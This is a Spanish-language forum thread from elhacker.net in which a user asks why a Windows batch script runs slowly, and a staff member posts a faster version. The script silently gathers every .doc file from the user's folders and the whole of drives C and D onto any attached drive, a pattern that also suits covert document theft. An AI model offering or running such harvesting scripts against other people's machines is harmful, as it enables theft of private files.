elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  ciclo for alenta copy
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ciclo for alenta copy  (Leído 2,156 veces)
asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
ciclo for alenta copy
« en: 6 Julio 2014, 21:03 pm »

por que se alenta asta al punto de trabarse no ay forma de quitar la lentitud o como puedo mejorar el codigo gracias

Código:
@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Documents\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Desktop\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Escritorio\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "C:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "D:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))


al contrario si lo hago sin fors  es mucho mas rapido el proceso
Código:
@echo off




REM -----------E-------------------
REM ARCHIVOS DOC WORD
copy "%userprofile%\Mis documentos\*.doc" "E:\data"
copy "%userprofile%\escritorio\*.doc" "E:\data"
copy "%userprofile%\Desktop\*.doc" "E:\data"
copy "%userprofile%\Documents\*.doc" "E:\data"
copy "C:\*.doc" "E:\data"
copy "D:\*.doc" "E:\data"


REM ARCHIVOS

REM ---------F--------------------
copy "%userprofile%\Mis documentos\*.doc" "F:\data"
copy "%userprofile%\escritorio\*.doc" "F:\data"
copy "C:\*.doc" "F:\data"
copy "D:\*.doc" "F:\data

REM -------G----------------

copy "%userprofile%\Mis documentos\*.doc" "G:\data"
copy "%userprofile%\escritorio\*.doc" "G:\data"
copy "C:\*.doc" "G:\data"
copy "D:\*.doc" "G:\data

REM -------H-----------

copy "%userprofile%\Mis documentos\*.doc" "H:\data"
copy "%userprofile%\escritorio\*.doc" "H:\data"
copy "C:\*.doc" "H:\data"
copy "D:\*.doc" "H:\data

REM ----------I--------

copy "%userprofile%\Mis documentos\*.doc" "I:\data"
copy "%userprofile%\escritorio\*.doc" "I:\data"
copy "C:\*.doc" "I:\data"
copy "D:\*.doc" "I:\data
REM ------------J----------

copy "%userprofile%\Mis documentos\*.doc" "J:\data"
copy "%userprofile%\escritorio\*.doc" "J:\data"
copy "C:\*.doc" "J:\data"
copy "D:\*.doc" "J:\data


REM -------------------K------------------

copy "%userprofile%\Mis documentos\*.doc" "K:\data"
copy "%userprofile%\escritorio\*.doc" "K:\data"
copy "C:\*.doc" "K:\data"
copy "D:\*.doc" "K:\data

REM -------------------L------------------

copy "%userprofile%\Mis documentos\*.doc" "L:\data"
copy "%userprofile%\escritorio\*.doc" "L:\data"
copy "C:\*.doc" "L:\data"
copy "D:\*.doc" "L:\data

REM -------------------W------------------

copy "%userprofile%\Mis documentos\*.doc" "W:\data"
copy "%userprofile%\escritorio\*.doc" "W:\data"
copy "C:\*.doc" "W:\data"
copy "D:\*.doc" "W:\data






« Última modificación: 6 Julio 2014, 21:26 pm por asdexiva » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.885



Ver Perfil
Re: ciclo for alenta copy
« Respuesta #1 en: 6 Julio 2014, 23:30 pm »

Los búcles no ralentizan el proceso de copiado.

Ahora bien, en tu caso podría deberse a que estás intentando forzar el copiado sin verificar primero si la unidad existe o no... así que haces un sin fín de insrucciones innecesarias que pueden tomar bastante tiempo en procesarse según la cantidad de archivos, intentando copiar a unidades inexistentes.

Y aparte de eso, estás repitiendo el búcle de la variable DRIVES de una forma innecesaria.

Prueba así:
Código
  1. @echo off
  2.  
  3. SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
  4.  
  5. FOR %%# IN (%DRIVES%) DO (
  6.  
  7. If Exist "%%#:\" (
  8.  
  9. FOR /R "%userprofile%\Mis documentos\" %%a IN ("*.doc") DO (
  10. copy /y "%%a" "%%#:\data\"
  11. )
  12.  
  13. FOR /R "%userprofile%\Documents\" %%a IN ("*.doc") DO (
  14. copy /y "%%a" "%%#:\data\"
  15. )
  16.  
  17. Rem etc...
  18.  
  19. )
  20. )
  21.  
  22. Pause&Exit

Saludos


En línea



asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: ciclo for alenta copy
« Respuesta #2 en: 7 Julio 2014, 18:09 pm »

Los búcles no ralentizan el proceso de copiado.

Ahora bien, en tu caso podría deberse a que estás intentando forzar el copiado sin verificar primero si la unidad existe o no... así que haces un sin fín de insrucciones innecesarias que pueden tomar bastante tiempo en procesarse según la cantidad de archivos, intentando copiar a unidades inexistentes.

Y aparte de eso, estás repitiendo el búcle de la variable DRIVES de una forma innecesaria.

Prueba así:
Código
  1. @echo off
  2.  
  3. SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
  4.  
  5. FOR %%# IN (%DRIVES%) DO (
  6.  
  7. If Exist "%%#:\" (
  8.  
  9. FOR /R "%userprofile%\Mis documentos\" %%a IN ("*.doc") DO (
  10. copy /y "%%a" "%%#:\data\"
  11. )
  12.  
  13. FOR /R "%userprofile%\Documents\" %%a IN ("*.doc") DO (
  14. copy /y "%%a" "%%#:\data\"
  15. )
  16.  
  17. Rem etc...
  18.  
  19. )
  20. )
  21.  
  22. Pause&Exit

Saludos

gracias elektro se me habia ocurrido lo del if pero no sabia como implementarlo en un for gracias
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
copy controlled (tm)
Software
tralara 0 1,541 Último mensaje 6 Mayo 2004, 03:13 am
por tralara
Copy to clipboard
PHP
frog-er 3 3,445 Último mensaje 3 Abril 2010, 21:00 pm
por Castg!
Copy & Paste « 1 2 »
.NET (C#, VB.NET, ASP)
BrokerJoker 11 7,617 Último mensaje 27 Marzo 2012, 00:55 am
por $Edu$
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines